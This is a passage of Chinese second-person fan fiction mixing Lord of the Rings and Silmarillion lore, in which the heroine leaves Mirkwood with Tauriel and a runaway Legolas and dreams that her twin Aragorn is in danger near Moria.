刚才的战斗对于莱戈拉斯来说充其量就是个热身运动,他还在搜索附近的蜘蛛,但是没找到蜘蛛,反而等来了正在巡逻的其他精灵,他们同样是被动静吸引到这里的,结果赶到这里只看见满地的蜘蛛残骸,以及他们的王子殿下,至于你,你在他们到来之前就被莱戈拉斯藏在附近的树洞里。 你也不是什么入侵者吧?躲在树洞里的你郁闷地想。 “莱戈拉斯殿下?现在还没到您的巡逻时间吧?”为首的是巡逻队的队长,他很好奇莱戈拉斯怎么会在这里。 莱戈拉斯给出的回答是他在密林里散步的时候恰好听到了这里传来的动静,因此就先一步来这里看看,“果然是蜘蛛的,所以我毫不犹豫地杀死了这些蜘蛛。” 但其实如果细心观察的话就会发现现场的痕迹不像是他一个精灵留下的,而更像是还有另外一个伙伴,但其他精灵也没有深究,因为他们也都知道这位精灵王子最近的脾气急躁,还时常和精灵王发生冲突,他们也很识相地没有多问,只是对着莱戈拉斯点点头,巡逻队的队长就领着其他精灵又去其他地方巡逻了。 确认他们已经走远后莱戈拉斯才折返回到刚刚藏起你的树洞,他低头的同时你恰好抬头,你们四目相对,你半开玩笑地说:“我还以为你都要忘了你把我藏在这里了呢。” 可偏偏莱戈拉斯还较真道:“精灵的记忆力都很好的。”言下之意就是他怎么可能连这种事情都会忘记呢?但是说到一半,他瞧见你眼里的笑意才反应过来你是在调侃,你怎么那么喜欢调侃精灵呢? “你又在调侃我?”莱戈拉斯问道,答案不言而喻,不得不承认,你确实很大胆,居然能几次调侃这位暴脾气的精灵王子。 而且面对他的问题,你还能保持笑容,“有吗?我可不这么认为。” 话语间你从树洞里走出来,活动一下肢体,伸了个懒腰,又问道:“那么我们还要继续练习吗?” 第69章 第69章但你显然和普通的人类不…… 你和莱戈拉斯之间的秘密往来始终没有被其他精灵发现,渐渐地,莱戈拉斯也会同你说一些除了训练以外的事情,尽管其实你并没有那么想听,但看得出来他现在很烦恼,而且他之前确实在训练方面指导了你许多,所以你就耐着性子勉为其难地听他说这些“成长的烦恼”。 没错,你将他说的事情统统称之为成长的烦恼,因为在你看来这根本不算什么大事,如果要问你什么才是大事,那你可能会回答被魔苟斯追杀也算不上太大的事情,但你举这个例子也没有瞧不起莱戈拉斯的意思,毕竟精灵也好,人类也好,在每个年龄阶段心里承受能力还有成熟程度都是不同的,等他以后再回望这时候的烦恼,估计也会觉得这根本不是什么事。 这天莱戈拉斯也在和你说生活上的琐事,比如说他的父亲瑟兰迪尔总是担心他如果离开密林就会遇到危险,他不服气地说:“难道在他看来我就是那么的脆弱不堪吗?” 和莱戈拉斯一同坐在倒下的树干上的你不动声色地打了个哈切,你们现在坐着的树干还是刚才训练的时候不小心弄断的,现在变成了你们现成的凳子,耳边继续传来莱戈拉斯的碎碎念,他简直比凯勒巩还要话痨。 你单手托腮侧过头看向他,“你们为什么就是不能好好沟通呢?而且我不相信你不明白他的用意,其实你们都明白对方的想法,只是你们如出一辙的骄傲不允许你们低头而已,但要我说,对亲人还在乎这些骄傲都是没有任何意义的。” 因为你为数不多的耐心都被他先前的嘟哝磨尽,所以你一开口就一针见血地指出他们相处的问题,说得莱戈拉斯哑口无言,因为不可否认的,你说的是事实,可大部分时候真话就是那么直白尖锐的,而莱戈拉斯也不算是什么特别好脾气的精灵,他沉默片刻,然后起身,“我就知道我不应该和你说这些事情的。” 你也不惯着他,“你直到现在才知道吗?” 莱戈拉斯无语凝噎,他眼睁睁地看着你拿起竖在旁边的弓箭,也站起身,没再多说什么就要离开。 你居然就这样离开了?莱戈拉斯更加不解地叫住你,“你就这么走了?” “我以为我们已经闹得不欢而散了。”而且更重要的是你已经从莱戈拉斯那里学了不少实战经验,所以就算日后不和他见面你也不亏。 但莱戈拉斯可不是这么想的,他说:“什么‘闹得不欢而散’?你这话说得好严重,我们刚才只是在普通地聊天而已。” 你歪了歪脑袋,“可是看你刚刚的样子很气急败坏,难道是我看错了吗?” 莱戈拉斯不自然地眨了一下眼睛,好吧,他得承认自己刚才确实有些恼羞成怒,因为你说得很准确,他和他的父亲总是因为自己的骄傲而难以沟通,他看着你,视线停留许久,最后艰难地问道:“没有,因为你说得很正确,那你能告诉我该怎么做吗?” 当他放软自己的态度时你就会在他身上看见曾经的吉尔-加拉德的影子,你就又叹了一口气重新坐回原来的位置,把弓箭放在一边,而后拍拍自己身边的位置示意莱戈拉斯坐下,后者照做,你们又将这段对话续上,你说:“如果想要让你的父亲接受你已经独立的事实,按照你父亲的性格,好好和他说肯定没效果,除非——” 和你相处下来莱戈拉斯觉得你是他见过最具智慧的人类,虽然有时候你的智慧不会用在正道上,但是,向你询问往往能得到可行的建议,就比如说现在,他跟着问道:“除非什么?” “除非你把屋顶给掀了,然后他就会心平气和地坐下来和你讨论开窗的事情。” “可我又为什么要掀屋顶呢?” 你又叹了一口气,“我这只是个比喻而已,说的是你要做出更加出格的事情以此来换取你父亲的妥协。” 这下子莱戈拉斯总算是明白了,问题就又变成做什么才算是真正出格的事情呢?他不由地陷入沉思,最后他得出结论,“我得主动离开密林,以此来换取日后的自由。” 没错,差不多就是这个道理吧,你欣慰地笑了。 “谢谢你。”莱戈拉斯郑重地向你道谢,而后又向你道歉,“抱歉,刚才我迁怒了你。” 你摆摆手,那算不得什么迁怒,但在不久以后的未来你就有些后悔自己当初提醒莱戈拉斯可以先做一些出格的事情了。 自你投靠密林以来,十载光阴转瞬即逝,根据你收集到的情报,近些年索伦的行动有所收敛,大概是发现精灵又开始活跃起来,曾经被精灵暴打过的阴影始终笼罩在索伦的心头,他既是出于忌惮,更是出于谨慎,隐藏起自己的行踪,但他的双眼还在时时刻刻地注视着中土大陆。 这对你来说是个好时机,你可以趁此机会去幽谷一趟,关于这个外出计划你未曾和谁提起过,只在心里默默地设想过,但莉迪亚还是通过你的细微变化猜到你接下来要做什么,她说:“您要离开密林了对吗?” 莉迪亚的语气笃定,你也没有隐瞒她,而是点了点头,“是的。”你原本想着带上莉迪亚的,但是她当初被座狼咬伤的地方即便被精灵治愈了,却还是会时时刻刻隐隐作痛,你不 想带着她去冒险,让她留在密林是最合适的选择,而且等到了幽谷你也会请求那的精灵领主派出一支精灵小队将莉迪亚转移到幽谷的,这是在你看来两全其美的解决方法。 “我为您感到高兴。”莉迪亚反而笑了,那是欣慰的,高兴的笑容,你终于能够与亲人重逢,莉迪亚忍不住流下眼泪,“我想夫人见到您一定也会很高兴的……” 你放下手里的东西擦去她脸上的泪水,一边擦拭一边轻声说:“莉迪亚不要哭泣,很快我会让幽谷的主人接你也去到幽谷的。” 莉迪亚却轻轻地摇了摇头,“这里的精灵很好,不要为了这件事情劳烦精灵领主,我唯一的愿望就是希望您能好好活下去,然后将半兽人驱逐出我们的家园。” 这也是你的想法,你是肯定要收回被半兽人占据的那片领地的,不光如此,你还得要解决索伦,你听说他打造的至尊魔戒在千年前在最后一任主人伊希尔杜死后就彻底销声匿迹,再没有人听说过至尊魔戒的传闻。 如果不解决这枚至尊魔戒,索伦还会卷土重来,所以杀死索伦的步骤就被简化为先找到这枚至尊魔戒,和他曾经的主人魔苟斯相比较,索伦最大的优点就是谨慎了,非常——非常的谨慎,而且也很能苟。 算了,关于杀死索伦这件事一时之间也急不来,倒不如先好好考虑一下跑路,哦不对,是离开密林的事情,你决定先去和瑟兰迪尔打个招呼,他应该没忘记自己还收留了两个人类客人吧? 你先是麻烦陶瑞尔告诉瑟兰迪尔你想要见他一面,负责传话的陶瑞尔尽职尽责地带来瑟兰迪尔的回答,她说:“陛下说你现在可以过去,就是他手头还有一些事情要处理,你可能要先等待一会。” 毕竟瑟兰迪尔身为精灵王肯定有很多公务要处理,关于这一点你表示理解,接着你就在陶瑞尔的指引下来到精灵宫殿,距离你上一次来到这里已经过了将近十年时光,但这里没有任何改变,无论是这里的君主还是子民。 一路上遇到的精灵见到陶瑞尔都会热情地打招呼,只是在看到站在她身边的你时就又会愣一下,然后在其他精灵的提醒下才想起来你是那个当初来投靠密林的人类孩子,真没想到你居然那么快就长大成人了,精灵总会惊讶于人类的成长速度。 陶瑞尔低声对你说:“不要在意其他精灵的目光,他们就是太好奇了。” 说实话你本来也没怎么在意,因为你在上一个副本承受过许多不解的、甚至是带着恶意的目光,所以这些精灵打量的目光根本不算什么。 “没关系的,我知道他们没有什么恶意,只是好奇而已。” 但陶瑞尔还是有些愧疚,她嘟哝道:“早知道就带你走另外一条路,那条路平常都没什么精灵路过。” 可你主动握住陶瑞尔的手,“但其实这样也挺好的,让我知道原来陶瑞尔你有那么多的精灵好友。” 没成想最后居然是你反过来安慰她,这让陶瑞尔怪不好意思的,后来也是你在主动引导话题,尽可能让气氛变得轻松一些,只不过这份轻松的氛围在靠近瑟兰迪尔的书房时就戛然而止,陶瑞尔收敛起脸上的笑容,有些许紧张,但更多的都是出于对精灵王的尊重,她深吸一口气,然后敲了敲门。 瑟兰迪尔的声音从里面传出来,“进来吧。” 在进门前你和陶瑞尔对视一眼,看上去陶瑞尔比你还要紧张,你推开门走到书房内,坐在办公桌后的瑟兰迪尔这才缓慢地抬起头看向你和陶瑞尔,“是你们来了啊,先坐吧,啊对了,陶瑞尔你可以先离开了,我想接下来的对话应该她也不希望第三方知道。” 闻言,陶瑞尔又看了你一眼,你也对着她点点头,陶瑞尔这才走到门口,离开的时候还不忘带上门。 门被关上,但是瑟兰迪尔没有再说话,他只是低头专注地批阅公文,偶尔还会皱起眉,管理一整个密林不是一件容易事,作为曾经的多尔罗明君主你深刻地明白这个道理。 因此你也很有耐心地等待他结束手头的工作,在此期间你都保持安静,安静得仿佛你根本不存在于这里。 最后瑟兰迪尔放下羽毛笔,但是他开口的第一句话不是询问你为什么要来见他,而是质问道:“你为什么要违背我定下的规定?” 被他发现了么?你若有所思,但也没有多惊讶,你抬起头看向他,蹙起眉头,“我不明白您在说什么。” “不,你其实很清楚我在说什么,别在我面前装傻充愣,我的儿子或许无法分辨你的伪装,但我不会。” 好吧,果然是为了他的儿子才质问你的,你始终保持着得体的笑容,“您的儿子,您说的是密林的精灵王子莱戈拉斯殿下吗?” “是的。”瑟兰迪尔仔细观察你,他接触过很多人类,人类都是这样的,在精灵一眨眼的功夫就从孩子变为成人,然后没过多久就又会变成一抔黄土,这就是所有凡人的命运。 但你显然和普通的人类不太一样,这一点从你的出身就将你和其他普通人区分开来,更重要的是,他有种预感你会在这片大陆上掀起一阵风浪,而且还是惊涛骇浪。 “我之前和你说过只能和特定的精灵接触,但是你似乎忘了这个规定,还是说你有意无视这个规定的呢?”瑟兰迪尔板着一张脸,他保持严肃的时候便会散发出强烈的压迫感,但你见识过比他还有压迫感的精灵,所以这点阵势根本不算什么。 “我不明白您为什么会那么认为,我与莱戈拉斯殿下的相遇是偶遇,而且也得感谢他教会了我许多实战技巧,他说有许多技巧都是您教给他的,这样说来,我又一次承蒙您的恩惠——”你深知瑟兰迪尔在乎自己的儿子,因此辩解也是往他们的父子情谊上靠,事实证明这很有效,你瞥见瑟兰迪尔的表情有所软化,你又乘胜追击地说:“贸然和其他精灵接触确实是我的错,还请您处罚我吧。” 说完这些话,瑟兰迪尔沉默许久,书房内弥漫着死一般的寂静,但你知道自己这番话多半能够说服瑟兰迪尔。 果不其然地,他说:“算了,我也没必要为此而处罚你,不过你所说的他教会了你很多实战技巧又是什么意思?” 他还能是什么意思?不就是想要从你嘴里知道自己儿子的一举一动吗? 第70章 第70章所以现在的阿拉贡也在感…… 你没有点破瑟兰迪尔的真实想法,而是顺着他的话头继续往下说,说的都是他想要听的内容,比如说莱戈拉斯无意之中提到的儿时与父亲相处的时光,你一边说着一边不动声色地观察瑟兰迪尔的表情变化,不出你所料的,他的表情肉眼可见地变得柔和。 不得不说,虽然瑟兰迪尔可能和莱戈拉斯的关系有些紧张,但总的来说他还是很关心自己的儿子。 说完这些有的没的的小故事,你停了下来,瑟兰迪尔也恢复原先严肃的神色,轻咳一声,“原来他还和你说了那么多的事情。” 你把话题扯回正题,毕竟你来找他可不是为了聊这些事情的,“承蒙您多年的关照,我想再过几天就要离开密林了。” 听到你要离开的消息,瑟兰迪尔就说:“你要去幽谷?”也是,你总不可能一直待在密林,而且他记得你的亲 人就在幽谷,所以你提出这个请求倒也不奇怪,而且说实话,他并没有你说的那样十分关照你,充其量就是给你提供一个庇护所,至于其他的东西,都是陶瑞尔在帮忙张罗,好不夸张地说,几乎是陶瑞尔一手把你带大的。 因此如果得知你要离开的消息,那她肯定会心有不舍,于是他又问:“这件事情你有告诉过陶瑞尔吗?” 好端端地,他怎么就突然扯上了陶瑞尔?你虽然略带奇怪,但还是说:“没有,您是第一个知道这个消息的精灵。” “所以我应该感到荣幸吗?”瑟兰迪尔下意识地反问道,他实在是擅长阴阳怪气,随便说一句话就像是在冷嘲热讽。 你笑了笑,“这……我也不知道该如何回答,但是您可以放心的是,我在离开密林以后绝不会再麻烦您了的。” 毕竟你也不想欠下太多人情债,只不过瑟兰迪尔显然不是那么想的,他说:“你是打算孤身一人前往幽谷?”说着,他又好好地打量你一番,其实在这之前他就有听陶瑞尔说起过你的事情,但那都是一些日常琐事,例如你又长高了,还有什么你非常有射箭的天赋,你的体术也很好,诸如此类的话题。 那段时间陶瑞尔张口闭口都是你,不知道的还会误认为你是她的孩子,但精灵的孩子又怎么可能会是人类呢?只是从这些小事就能看出她待你就如同对待需要照顾的幼崽。 瑟兰迪尔不用想也知道陶瑞尔但凡得知你孤身一人离开的消息,不出几天也会追出去的,密林的精灵就是这样率真,一旦将对方划到保护范围内就会尽可能地保护对方,他又说:“你有考虑过自己在路上可能会遇到的危险吗?” “我当然有考虑过。” 见你心意已决,瑟兰迪尔站起身,他的身量高大,当初与你第一次见面的时候他的身影将你笼罩得严严实实的,现在你已经长大成人,他的声音落在你身上,遮去你的大半个身躯,“我想你似乎误会了什么。” 嗯?你到底误会了什么呢? 你的脸上少见地浮现出疑惑的神色,瑟兰迪尔后退一步,他的影子也从你身上划过,“实际上在你当初选择投靠密林以后就代表你的未来与这块地方是密不可分的,所以你这次外出并非只是你一个人的事情。” 听到这里你大概明白他的意思了,他的反应出乎你的意料,你原以为他会欣然放你走的,但是目前看来是你想错了。 “那您的意思是……” 瑟兰迪尔走回到办公桌旁边,“如果你要去往幽谷,那我会让陶瑞尔陪伴你一块去的。” 说着,他留意你的表情变化,发现你的神色微妙地顿了顿,他就又补充道:“这既然是我主动说的,就不算是你欠我的人情了。” 他把这话说得很周到,同时也意味着他都没有给你留下拒绝的余地,你只能选择接受,他派遣陶瑞尔护送你去幽谷一方面确实是保护,但另一方面多多少少还是有些监视的意味在里面,他在做出这个决定的时候估计是把这两方面都考虑到了吧。 “怎么,你不愿意?”说着,瑟兰迪尔挑起一边的眉,你轻轻地摇了摇头,回答道:“没有,我只是在想该如何感谢您才对。” “如果真的想要感谢的话,那就到时候告诉纳国斯隆德的精灵,你在密林得到了很好的照顾,而非监禁。” 他没头没尾地突然扯到了纳国斯隆德,但如果结合之前吉尔-加拉德寄来的那一封信就会发现瑟兰迪尔说着一番话也不是毫无缘由的,说起吉尔-加拉德写的信件,除却开篇的冗长且毫无意义的问候,真正的内容总结下来其实就那么几句话。 ——亚玟,阿拉贡的双生子妹妹,阿拉松的女儿在你这里吗? ——你是否幽禁了她? 吉尔-加拉德的这几句话在瑟兰迪尔看来更像是在挑衅他,怎么,在他们眼里密林的精灵就只能做出幽禁人的事情吗?还有他那副时刻担心你会被撕票的口吻又是几个意思?总之这封信看得瑟兰迪尔大为不悦,如果对方的语气再礼貌一些,他或许会写一封回信,当然,考虑到你之前说过想要隐姓埋名地生活,他也答应了你这个请求,所以他无论怎样都不会告诉吉尔-加拉德关于你的消息的。 你哪里知道此前还发生了那么多的事情,在你看来瑟兰迪尔就是莫名其妙地冒出这样一句话来,你说:“这和纳国斯隆德又有什么关系呢?” “我以为这个问题你是再清楚不过的。” 瑟兰迪尔坐回到办公桌后的椅子上,其实他也很好奇你究竟和纳国斯隆德的精灵是什么关系,难不成是你的父亲和那里的精灵有些交情?那么为什么半兽人军队来袭的时候他们却选择袖手旁观呢?这让瑟兰迪尔更加疑惑了。 他还在等待你的解释,没成想你却直接轻描淡写地跳过这个话题,然后说:“我明白了,日后如果遇见来自纳国斯隆德的精灵我会告诉他们密林精灵王是一位贤明仁慈的君主。” 但他想听的可不是这个回答,他更想知道你到底和纳国斯隆德有什么渊源,“你的父亲和纳国斯隆德的领主是旧相识?” 你似笑非笑,“您只猜对了一半。” 确实是旧相识,但不是你的父亲而是你,你没打算把这些事情都原原本本地告诉瑟兰迪尔,你只是说:“那我现在可以离开了吗?” 瑟兰迪尔若有所思,他对你幅度微弱地点了点头,你在他的注视下离开书房,陶瑞尔还在外面等待,一见到你出来了,她便说:“你和陛下聊完了?” 还没等她说完话呢,书房里就传出瑟兰迪尔呼唤陶瑞尔的声音,陶瑞尔没有任何马虎,当即走到书房里,瑟兰迪尔与她的对话就很简短了,基本上三言两语就能把事情都给交代完,陶瑞尔听闻你要离开密林的事情她不由地惊讶道:“她要离开这里!?” 她那话语脱口而出,说话的音量都没怎么控制,她又忙不迭地低声道歉一句,“抱歉陛下,是我失礼了。” 瑟兰迪尔也没有为此而责怪她,毕竟她对你有多上心他都看在眼里,他说:“是的,她终有一天是要离开这里的,你总不可能指望她将自己的一辈子时间都耗费在密林里。” 陶瑞尔下意识地想要说这样又有什么不好的呢?但是转念一想,你出身不凡,而且身上还肩负着收复家园领土的使命,更何况和你接触得久了,她也知道你绝不是那种会逃避现实的人,相反的,你会勇敢面对残酷的现实,这也是她真正喜欢你的地方,也就是你那股永不服输的精神。 但陶瑞尔一时之间还不能完全接受,她说:“……我知道,她会在人类史书上留下浓墨重彩的一笔。” “你能明白就好。”瑟兰迪尔又告诉陶瑞尔你从密林到幽谷的这段路都要由她来护送。 听到这里,陶瑞尔的神色中闪过一丝欣喜,她说:“什么?您将这样重要的任务交给我……” “一方面是因为我信任你的实力,另外一方面则是因为对于你来说她也是非常重要的人,难道不是么?” 陶瑞尔离开书房的时候还在连连道谢,等她离开书房,却没有在书房外面见到你的影子,该不会是你在这附近迷路了吧?想着,陶瑞尔着急地寻找你的踪迹,最后在露天平台上找到了你,除了你之外身边还有另外一道身影,那身影很熟悉,正是莱戈拉斯,后者说:“她怎么会出现在这里?”听那说话的语气就像是在埋怨陶瑞尔怎么没有看好你,还是他刚才碰巧遇见了在四处散步的你,就顺势把你带到这块露天平台上。 “是我要来见精灵王陛下的。”你先一步回答道,莱戈拉斯更加好奇了,你好端端地怎么突然要见他的父亲呢? “你来找他是有什么重要的事情吗?”莱戈拉斯问道,这次是陶瑞尔回答的他,陶瑞尔说:“这件事情暂时保密,恐怕不能告诉你。” 但她说的这番话反而起到了反作用,只会使得莱戈拉斯更加好奇,他说:“这是陛下的命令吗?” 对此,陶瑞尔点了点头,“是的,这是陛下的命令。”闻言,莱戈拉斯倒是没有再继续往下问了,只不过你能够感受到他的好奇心并没有因此而消弭,只是先藏了起来而已。 陶瑞尔拉着你离开精灵宫殿,在去往你和莉迪亚住所的路上她又问:“莉迪亚知道这件事情了吗?”到这时候陶瑞尔都在考虑莉迪亚的感受,你告诉她莉迪亚早就已经知道了,而且她非常支持你的决定。 这 倒也不奇怪,毕竟你的每个决定莉迪亚都会赞同并且竭尽全力地支持你,而且你这次离开密林也是为了与家人重逢,这是情有可原的。 在得到瑟兰迪尔的同意后你就带上轻便的行囊在当天夜里就离开密林,临走前你郑重地与莉迪亚告别,然后主动拥抱她,你这才意识到伴随着你的成长,她也在逐渐老去,你将脑袋靠在她的肩膀上,轻声说:“莉迪亚,我很喜欢你的名字,每次听到你的名字都会让我感觉到欢喜。” “是吗?那这是我的荣幸。”莉迪亚的声音里带着几分哽咽,她忍着泪水结束这个拥抱,后退一步与你拉开距离,眼里满是泪光,她对着你挥挥手,你走出一段路后又回过头,发现她还站在原地注视着你的背影,你就也学着她的样子对她挥挥手。 你和陶瑞尔各自带着一匹马走到密林的边缘,很凑巧的是瑟兰迪尔给你挑选的这匹马也是一匹白马,这不由得让你想到了曾经的你骑在白马洛丝的背上逃过魔苟斯的追杀,怀里还藏着那三颗珍贵的精灵宝钻。 但那都是很久以前的事情了,久得已经从故事变为传说了,你甚至曾经还在集市上看到过这个传说的改编,和你的真实经历有所不同,在那场改编的舞台剧里你不是孤身一人逃跑的,身边还有吉尔-加拉德的陪伴,或许是因为你和吉尔-加拉德的婚姻以至于那些剧作家很自然而然地认为你们总是形影不离。 话题似乎跑远了,你盯着那匹白马看了一会,陶瑞尔问道:“怎么了?这匹马性格温驯,而且它看上去也很喜欢你,不必担心它会伤害你。” 陶瑞尔还以为你是在担心这匹马会伤害你,你摇了摇头,只是轻轻地说:“我曾经也有过一匹白马。” 她理所当然地认为那是你在原先的家园里拥有的一匹白马,她宽慰道:“那现在这匹马兜兜转转又回到了你身边,这也是一种缘分。” 你配合地笑了一下,而后一个翻身坐在马背上,一手牵着缰绳,朝着西面奔去,这段旅程一开始就不怎么顺利,你不是说你们遇到了什么黑暗生物的围攻,而是你们骑着马离开密林一段距离后就感知到有谁跟在你们后头,就跟一条小尾巴一样怎么也甩不掉。 陶瑞尔不耐烦地调转方向,朝着身后看去,精灵的视力都很好,她一眼就看到了那条小尾巴,然后当即愣住,你也顺着她眼神的方向看去,结果发现自己果然还是没有精灵那么好的视力,你只能看见远处一团模糊的身影逐渐向你们靠近,在夜色的掩护下,你分不清是敌是友,但是看陶瑞尔的反应,她都没有拿起弓箭,那你推测应该不是敌人。 终于,等对方靠近以后你才看清对方的面容,来者不是别人,正是莱戈拉斯。 此时此刻你和陶瑞尔的内心想法出奇的一致,那就是:他跟过来做什么? 陶瑞尔先一步开口发问:“你是要送一送我们吗?但你都已经送了我们一路了。” 莱戈拉斯却坦言,“不,我不是来送你们,我要和你们一同离开。”瞧他那理所当然的模样,你又问了一句,“那你的父亲知道你要离开这件事情吗?” 沉默,是死一般的沉默,好了,就算他没有回答你也知道答案是什么了,你感觉到自己的脑壳隐隐作痛,要是被瑟兰迪尔发现你还带跑了他的宝贝儿子,那这暴脾气的精灵王肯定不会给你好脸色看的,你只能耐着性子劝说这位心血来潮的精灵王子赶紧回去,你可不想引火上身。 没成想莱戈拉斯这是铁了心地要跟你们一起走,任凭你和陶瑞尔轮番劝说都不为所动,他甚至还说:“再加上一个我,你这趟旅程不是会更加顺利吗?” 你忍不住凉飕飕地说:“那我是不是应该还要再感谢你一下呢?” “感谢就不用了,我这么做都是应该的。”说着,莱戈拉斯挺起胸膛,真真切切地认为自己在做好事,“而且不是你说的如果要让他妥协的话就得要先做出更加出格的事情吗?” 很好,现在你真的开始后悔告诉莱戈拉斯这个道理了,因为他活学活用的结果就是会直接导致瑟兰迪尔对你的好感度大降特降,你之前的努力可算是白费了,你只能叹了一口气,想要劝说倔脾气的精灵王子回去比登天还难,你只能让他跟着你们离开。 陶瑞尔一开始还有些担心的,但是到后面也就到不再提及让莱戈拉斯回到密林的事情了,一方面是因为一旦提及这件事莱戈拉斯就绝不动摇,另一方面是因为莱戈拉斯的存在确实将你们这支小队的战力都提高了一个等级,而且有时候你没能发现藏在黑夜里的野兽,还没等你反应过来莱戈拉斯就已经抽出箭矢搭在弓弦上拉开弓命中野兽,这一系列动作一气呵成,中间没有丝毫停顿,然后那几只原本想要偷袭你们的野兽也都死在莱戈拉斯的弓箭下。 莱戈拉斯小声嘟哝,“这些野兽还比不上密林的蜘蛛呢。” 你们晚上赶路就没怎么停下过,直到后半夜,与你同行的两位精灵担心你的体力跟不上就提议找个地方休息一会,你说:“我还可以再坚持一会的。” “你没必要做这种坚持,而且累了就要休息。”说着,莱戈拉斯眺望四周,顺利地找到一处竹林,这就是你们今晚落脚休息的地方了。 找了一处平坦的空地坐下,你们没有点火,免得引来其他野兽的注意,你握着匕首把这周围的毒蛇都清理一遍,这才放心地盘腿坐在大石头旁边,将斗篷的兜帽拉起来用斗篷把自己裹得严严实实的密不透风,没有丝毫疲惫的两个精灵站在你身边,一边一个,就跟门神似的,在等你睡着以后陶瑞尔才小声地对莱戈拉斯说:“你这么做不光是会惹得陛下生气,甚至还会牵连到她的。” 莱戈拉斯没做声,陶瑞尔很肯定对方是听到了她说的话的,只是装作没听见而已,她又继续说:“日后没准陛下还会为此而责怪她。” “我会向他说明这一切都是我自愿做的,就算要承担后果那也由我自己来承担。” 这事情可没有他说得那么简单,莱戈拉斯有时候还是太容易冲动行事了,陶瑞尔说:“算了……事已至此,也就只能祈祷陛下不会生气了。” 正在对话中的莱戈拉斯和陶瑞尔没有察觉到睡梦中的你打了个寒颤,你好不容易进入梦乡,但迎接你的可不是什么美梦,而是一个古怪的梦境,你在梦境里看见了长大的阿拉贡,尽管你未曾见过长大的阿拉贡,但你就是能够确定在梦中的那个男人就是阿拉贡。 少年阿拉贡站在河对岸远望着你,这画面就如同曾经的埃欧尔,他也站在河对岸凝望着你,梦中的你向着阿拉贡走去,原本眼神迷茫的他终于捕捉到你的身影,他的眼睛一亮,动作飞快地朝你跑来,可那道身影跑到一半就变成了扭曲的黑影,就连你也被吓了一跳。 梦中的阿拉贡还在呼喊你的名字,但那声音又变成童声,他的声音撕心裂肺,那画面也变为你与阿拉贡最后分别的场景,你们被座狼袭击不得不兵分两路最后甚至不得不分开将近十年。 你从梦中惊醒,撑起自己的上半身,你的后背出了一层冷汗,就连额头上也是冒出一层细密的汗水,你抬手擦了擦汗,那动作引起身边的陶瑞尔还有莱戈拉斯的注意,陶瑞尔问道:“你看起来很糟糕,怎么了?做噩梦了吗?” 说着,陶瑞尔伸出手擦去你的汗水,发现那是一层冷汗,你沉默不语,这对你来说只是一个普通的噩梦而已,在此之前你还做过很多比这个更加可怕的噩梦,但是你的心悸感却是从未有过的,此时此刻你忽然想起以前阿拉贡曾经和你说过的,双生子之间存在的心灵感应。 所以现在的阿拉贡也在感到痛苦吗? 70-80 第71章 第71 章“我追寻她是因为命运的…… 你站起身,脚步有些不稳当,还是陶瑞尔眼疾手快地扶住你的胳膊,你稳住重心,然后抽回手臂,对着陶瑞尔露出一个安抚笑容,“我没事。” 此时天边已经泛起鱼肚白,但气温还和夜晚一样,清晨的微风一吹,你猝不及防地感受到几分寒意。 眼看天色将明,你也休息得差不多了,抓紧时间再次动身赶路,从密林到幽谷,中间都是平坦的平原,这样的地形有利也有弊,好处就在于方便骑马通行,而坏处也一目了然,穿梭在平原上的你们很容易引起索伦布置在外的眼线的注意。 因此你们在穿过平原的时候中途都不曾停下来过,这样的生活持续了好几天,在某天晚上你从睡梦中醒来,又是被惊醒的,此时负责守夜的是莱戈拉斯,当你醒来的时候陶瑞尔正靠在你旁边的岩石旁睡觉,捕捉到你的呼吸声的改变,莱戈拉斯当即回过头,见到原来是你醒了,但是你的脸色却很难看,只见你面色苍白。 莱戈拉斯伸出手触碰你的额头,他担心你因为劳累过度而发热,所幸他触碰你的额头你的体温是正常的,“你现在看上去很糟糕,又做噩梦了?” “嗯……”你含糊不清地应了一声,莱戈拉斯拿出水囊递给你,但里面装着的不是普通的饮用水,而是精灵特制的饮料,喝一口就能快速恢复体力,而且还能调节心情,那饮料喝起来就像是果汁,你喝了一小口,刚才还冰凉的四肢也随之变得暖和起来。 你感觉好多了,就把水囊还给莱戈拉斯,又开始回忆刚才那个梦,其实也不能说是噩梦,这更像是一个具有预言作用的梦,你对莱戈拉斯说:“我梦到了我的哥哥阿拉贡。” “这很正常,因为越是靠近幽谷,你就离他更近一步,而且你也在怀念他。” 但你却摇摇头,你额角的碎发被冷汗打湿,莱戈拉斯又拿出手帕给你擦拭冷汗,就像之前陶瑞尔对你做的那样,同时安慰道:“你很快就会再见到他了。” “不,我做的梦和你说的不一样,在梦里他遇到了危险,而且还是命悬一线的危险。”说到这里,你又回忆起梦境中阿拉贡遇险的地方,那里和你们现在身处的地方地形截然不同,那是一处连绵的悬崖,而他则是被半兽人围追堵截一直被逼到悬崖边。 莱戈拉斯的神色也因为你的话语陷入凝重,他说:“我曾经听说过有的人类也会出现预知梦,而且你和他还是双生子,在双生子之间也会存在常人所不能理解的心灵感应,所以……”你的哥哥阿拉贡说不定真的遇到了危险,他没有把这后半句话说出口,因为这听起来太残忍了。 “所以看样子我们得要暂时改变计划了。”你说,然后拿出草稿纸还有炭笔在上面涂涂画画,你把梦中的画面回忆了一遍又一遍,然后把这些画面都画下来,炭笔划过草稿纸发出沙沙的细微声响,靠在你身边的陶瑞尔也随之醒来,她先是缓慢地眨了一下眼睛,旋即向你靠近,“亚玟,你在做什么?” “把我梦里的画面都画下来。”你说着,握着炭笔的手一停不停地落下线条。 落下最后一笔,你将草稿纸展平,“你们对这个地方有什么印象吗?” 莱戈拉斯和陶瑞尔凑过来仔细观察你的草稿纸,陶瑞尔摩挲着自己的下巴,“这个地形,在我的印象里只可能是迷雾山脉,而且还是靠近莫里亚那一块的迷雾山脉。” 莫里亚……前身是曾经辉煌一时的矮人王国,只可惜最后的结果就和你曾经的家园一样被半兽人占为己有,相较之下半兽人占领莫里亚的时间更为长久,这使得莫里亚逐渐成为人们心中黑暗的代表。 你不相信阿拉贡会不知道那里很危险,可他又为什么要以身犯险去那种地方呢?这是最让你不得其解的地方。 在场的两位精灵和你产生同样的疑惑,莱戈拉斯问道:“他孤身一人去往莫里亚……”难不成还要专门去送死吗?莱戈拉斯将后半句话咽下,因为现在这个情况很明显,你的双生子哥哥阿拉贡凶多吉少,他再这么说只会在你的伤口上撒盐。 你沉默许久,最后征求他们意见地问道:“我要去找他,你们如果不愿意同行的话——” 还没等你把话说完,莱戈拉斯就急匆匆地打断你,“我总不可能看着你去冒险,而且我的任务是安全护送你到达幽谷,如果你中途死在莫里亚,这就是我的过失了。” 闻言,陶瑞尔诧异地说:“什么叫做你的任务?这个任务可是陛下亲自交给我的。” 